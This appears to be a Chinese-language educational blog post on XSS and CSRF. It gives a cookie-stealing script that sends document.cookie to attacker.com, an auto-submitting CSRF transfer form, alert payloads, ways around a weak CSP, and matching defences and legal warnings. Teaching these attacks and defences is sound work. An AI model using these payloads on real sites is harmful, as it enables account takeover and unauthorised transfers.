【第七期】漏洞攻防-前端篇：XSS 与 CSRF —— 当浏览器成为攻击者的“肉鸡”

💡 导读：如果说 SQL 注入是攻击服务器，那么 XSS（跨站脚本） 和 CSRF（跨站请求伪造） 则是攻击用户。在这个浏览器即操作系统的时代，前端漏洞的危害不容小觑。本期我们将揭秘：为什么你只是点开了一个链接，黑客就能盗走你的 Cookies，甚至用你的账号发帖、转账？

一、 XSS：让你的浏览器替我干活

XSS (Cross-Site Scripting) 的本质是：网站没有过滤用户输入，导致攻击者可以在网页中插入恶意 JavaScript 代码，而其他用户浏览时，代码会自动执行。

1. 三种主要形态

类型	存储型 (Stored)	反射型 (Reflected)	DOM 型 (DOM-based)
存储位置	服务器数据库	不在服务器存储	客户端 DOM
触发方式	用户访问含恶意代码的页面	用户点击含恶意参数的链接	前端 JS 处理逻辑不当
危害程度	⭐⭐⭐⭐⭐ (蠕虫级)	⭐⭐⭐ (钓鱼/盗号)	⭐⭐⭐⭐ (API 劫持)
例子	恶意评论 `<script>alert(1)</script>`	搜索框 `?q=<script>...</script>`	URL `#<img src=x onerror=alert(1)>`

这是 XSS 最经典的利用方式。

场景：某论坛存在存储型 XSS。

Payload（攻击载荷）：

html 复制代码

<script>
  // 1. 创建一个 Image 对象
  var img = new Image();
  // 2. 将当前页面的 Cookie 发送到攻击者的服务器
  img.src = "http://attacker.com/log?" + document.cookie;
</script>

攻击流程：

攻击者将上述代码发布在论坛帖子或评论中。
受害者浏览该帖子，浏览器执行这段 JS。
受害者的 PHPSESSID=abc123被发送到 attacker.com。
攻击者拿到 abc123，在 Burp Suite 中替换自己的 Cookie。
结果：攻击者无需密码，直接登录受害者的账户。

二、 CSRF：借用你的"身份证"办事

CSRF (Cross-Site Request Forgery) 俗称"点猪"，意思是：利用用户已登录的身份，在用户不知情的情况下，伪造请求执行恶意操作。

1. 核心逻辑：浏览器自带"助攻"

当你登录 bank.com后，浏览器会自动保存该域下的 Cookie。

此时，如果你访问了一个恶意网站 evil.com，该网站中的代码试图向 bank.com发起转账请求，浏览器会自动带上 bank.com的 Cookie。

服务器看到 Cookie 是对的，就以为是用户本人操作的。

2. 实战演练：自动转账

场景：某银行转账接口设计简陋。

正常转账请求：

http

复制代码

POST /transfer HTTP/1.1
Host: bank.com
Cookie: session=logged_in_user

amount=1000&to=hacker_account

攻击者的 evil.html：

html 复制代码

<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to" value="hacker_account">
  </form>
</body>

结果：只要用户登录了网银，且打开了 evil.html，就会立刻静默转账 10000 元。

三、 2026 年前沿：绕过现代防御

现在的浏览器和框架都有防护，但黑客总有办法。

1. CSP (Content Security Policy) 绕过

CSP 是为了防止 XSS 执行。但如果配置不当：

script-src 'unsafe-inline'：允许内联脚本，XSS 依然有效。
script-src https://cdn.com ：如果 cdn.com存在任意文件上传，可以引入恶意 JS。

2. 基于 DOM 的 CSRF

现代网站多用 API + Token（如 JWT）。如果 Token 存储在 localStorage中，且前端 JS 自动将其添加到 Header 里，传统的 CSRF（靠 Cookie）会失效。

但是：如果网站存在 XSS ，攻击者可以直接读取 localStorage['token']，然后用这个 Token 调用 API，实现"无 Cookie 接管"。

四、实战：在 Juice Shop 中寻找 XSS

登录 Juice Shop。
找到"评论"功能或"搜索"框。
尝试输入最简单的 Payload：<script>alert('XSS')</script>。
如果弹窗出现，说明存在 XSS。
进阶：尝试使用 <img src=x onerror=alert(document.cookie)>来绕过一些简单的过滤。

五、防御指南：如何修补？

1. 防 XSS

输入过滤 ：对 < > " '等特殊字符进行转义（HTML Entity）。
CSP 头 ：设置 Content-Security-Policy: default-src 'self'; script-src 'self'，禁止外链脚本。
HttpOnly ：给 Cookie 加上 HttpOnly属性，禁止 JavaScript 读取 Cookie（这是防 XSS 盗 Session 的大招）。

2. 防 CSRF

CSRF Token：服务器生成一个随机 Token 埋在表单里，每次请求必须携带，攻击者无法伪造。
SameSite Cookie ：设置 Set-Cookie: session=xyz; SameSite=Strict，禁止第三方网站发起请求时携带 Cookie。

⚠️ 安全警示与法律红线

请务必遵守以下准则：

XSS 红线 ：利用 XSS 漏洞盗取他人 Cookie、挂马、蠕虫传播，属于非法获取计算机信息系统数据罪。
CSRF 红线 ：制作 CSRF POC（概念验证）测试时，仅限于无危害的 GET 请求 （如刷新页面）。严禁构造转账、修改密码、发送邮件等高危 POC 在真实网站上测试。
隐私保护：在截图证明漏洞时，务必遮挡受害者的个人信息（头像、昵称、手机号）。

前端漏洞危害的是人，而非机器。作为安全研究者，请守住人性的底线，不要利用漏洞伤害真实用户。

💬 互动环节

你见过最奇葩的 XSS 过滤机制是什么？（比如把 script换成 scr1pt？）
你觉得在 SPA（单页应用）中，Token 放在 Cookie 里安全，还是 LocalStorage 里安全？
欢迎在评论区留言讨论！

👉 下一期预告：【漏洞攻防-高危 RCE 篇】命令执行与 Log4j2 ------ 为什么打印一条日志就能接管服务器？